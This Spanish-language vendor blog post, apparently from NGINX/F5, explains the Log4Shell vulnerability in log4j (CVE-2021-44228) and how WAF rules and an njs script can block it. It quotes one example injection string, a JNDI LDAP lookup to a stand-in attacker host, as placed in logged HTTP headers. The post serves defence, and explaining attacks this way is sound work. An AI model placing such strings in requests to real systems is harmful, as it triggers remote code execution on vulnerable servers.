Mitigación de la vulnerabilidad log4j (CVE-2021-44228) con NGINX
El viernes 10 de diciembre de 2021 es una fecha que será recordada por muchos profesionales de TI en todo el mundo. Fue cuando se encontró una vulnerabilidad de día cero altamente crítica en la muy popular biblioteca de registro para aplicações Java, log4j . El nombre “Log4Shell” se acuñó rápidamente para el exploit y empresas de todos los tamaños se apresuraron a implementar estrategias de mitigación. A esto le siguió un maratón de parches que al momento de escribir esto aún continúa.
NGINX y F5 han analizado la amenaza y en este post ofrecemos varias opciones de mitigación para mantener tus aplicações protegidas.
¿Qué es Log4Shell?
La versión 2.15 y anteriores de la biblioteca log4j son vulnerables a la vulnerabilidad de ejecución remota de código (RCE) descrita en CVE-2021-44228 . ( La versión 2.16 de log4j corrige la vulnerabilidad). Log4Shell es el nombre que se le da al exploit de esta vulnerabilidad. Pero ¿qué es la vulnerabilidad y por qué es tan crítica? Como se describe en CVE, la biblioteca Java Apache log4j no valida correctamente la entrada.
La característica Java Naming and Directory Interface (JNDI) de la biblioteca log4j y el entorno de ejecución de Java se pueden utilizar para realizar búsquedas remotas para recuperar datos de fuentes externas (como un nombre de usuario de LDAP o una dirección IP de DNS) para incluirlos en una entrada de registro. Desafortunadamente, los atacantes remotos pueden secuestrar JNDI para ejecutar el código Java que han escrito. El siguiente diagrama ilustra el ataque.
Para explotar un objetivo vulnerable, los atacantes deben engañar al código de la aplicação para que escriba una entrada de registro que incluya una cadena como ${jndi:ldap://evil.xa/x} . La pregunta interesante es: ¿dónde colocar la cadena para que termine en un mensaje de registro? Para muchas aplicações, el registro es esencial y se registra mucha información diferente sobre cada solicitud entrante, incluidos los encabezados HTTP como User-Agent y X-Forwarded-For , la URI y el cuerpo de la solicitud. Hay muchos vectores de ataque y, siempre que la cadena se registre con log4j, la aplicação puede ser explotada.
¿NGINX se ve afectado por esta vulnerabilidad?
No. NGINX en sí no es vulnerable a esta vulnerabilidad porque está escrito en C y no utiliza Java ni ninguna biblioteca basada en Java. Para obtener la respuesta oficial a CVE-2021-44228 para todos los productos F5 y NGINX, consulte el artículo K19026212 en la base de conocimiento de AskF5.
¿Cómo ayuda NGINX a mitigar el exploit?
Como se mencionó anteriormente, un atacante debe enviar la cadena de explotación a la aplicação de destino en algún lugar de la solicitud HTTP. NGINX proporciona varias herramientas para escanear solicitudes entrantes en busca de indicios de compromiso (IOC) y bloquearlas.
La forma más eficiente de bloquear solicitudes maliciosas es con un firewall de aplicação web (WAF). Analiza cada solicitud entrante en busca de indicios de CVE-2021-44228 comparando los datos de la solicitud con un conjunto de reglas precompiladas. Sin embargo, actualizar las reglas de WAF después de un exploit de día cero es como una carrera armamentista. Tan pronto como las reglas WAF están disponibles para un exploit determinado, los atacantes buscan técnicas y patrones que puedan eludir el WAF. Asegúrese de mantener sus reglas de WAF actualizadas.
WAF de ModSecurity de NGINX
ModSecurity es un WAF de código abierto y también está disponible como oferta comercial de NGINX, el módulo NGINX ModSecurity WAF para NGINX Plus. El conjunto de reglas principales (CRS) de ModSecurity de OWASP incluye una regla existente (932130) que puede mitigar Log4Shell. Para obtener más información sobre esta solución y una protección más avanzada, consulte el blog de CRS .
[ Editor – NGINX ModSecurity WAF oficialmente dejó de venderse el 1 de abril de 2022 y está en transición al fin de su vida útil a partir del 31 de marzo de 2024 . Para obtener más detalles, consulte F5 NGINX ModSecurity WAF está en transición al final de su vida útil<.htmla> en nuestro blog.]
NGINX APP PROTECT WAF
NGINX App Protect WAF es una moderna solución de seguridad de aplicaciones. Con base en la investigación continua de la amenaza y las evasiones conocidas del WAF, hemos actualizado el conjunto de firmas de inyección de código del lado del servidor con nuevas reglas para detectar de manera efectiva los ataques Log4Shell. Para obtener más detalles, consulte la Base de conocimientos de AskF5 .
Módulo NGINX JavaScript
NGINX y NGINX Plus se implementan ampliamente como proxy inverso frente a muchas aplicações basadas en Java. Para los usuarios y clientes sin acceso a un WAF, hemos creado un script que utiliza el módulo JavaScript NGINX (njs). El script escanea los encabezados HTTP, las URI y los cuerpos de las solicitudes en las solicitudes entrantes, haciendo uso de cadenas IOC conocidas, así como expresiones regulares para hacer coincidir los datos de entrada y bloquear solicitudes maliciosas.
El script njs está disponible en GitHub . Para obtener instrucciones sobre la instalación del módulo njs, consulte la Guía de administración de NGINX Plus .
resumen
La solución más eficaz para Log4Shell es parchear el código de la aplicação con log4j versión 2.16 o posterior, lo que desactiva JDNI. Si esto no es posible de inmediato, un WAF puede mitigar eficazmente la amenaza hasta que tenga tiempo de aplicar el parche. Si aún no tiene un WAF, puede usar nuestro script njs para implementar protección específica contra la amenaza. Utilice los recursos a continuación para obtener más información y seleccionar la protección más adecuada para sus aplicações.
Recursos
- CVE-2021-44228 – El CVE oficial
- Exploit de día cero dirigido a la popular biblioteca Java Log4j : una valiosa descripción general de la vulnerabilidad
- K19026212: Vulnerabilidad de ejecución remota de código en Apache Log4j2 (CVE-2021-44228) – Respuesta oficial de F5
- CRS y Log4j / Log4Shell / CVE-2021-44228 – Blog sobre el conjunto de reglas principales de ModSecurity
- Solicitud de inspección de NGINX NJS para CVE-2021-44228 : solución de mitigación de JavaScript de NGINX
"Esta publicación de blog puede hacer referencia a productos que ya no están disponibles o que ya no reciben soporte. Para obtener la información más actualizada sobre los productos y soluciones F5 NGINX disponibles, explore nuestra familia de productos NGINX . NGINX ahora es parte de F5. Todos los enlaces anteriores de NGINX.com redirigirán a contenido similar de NGINX en F5.com.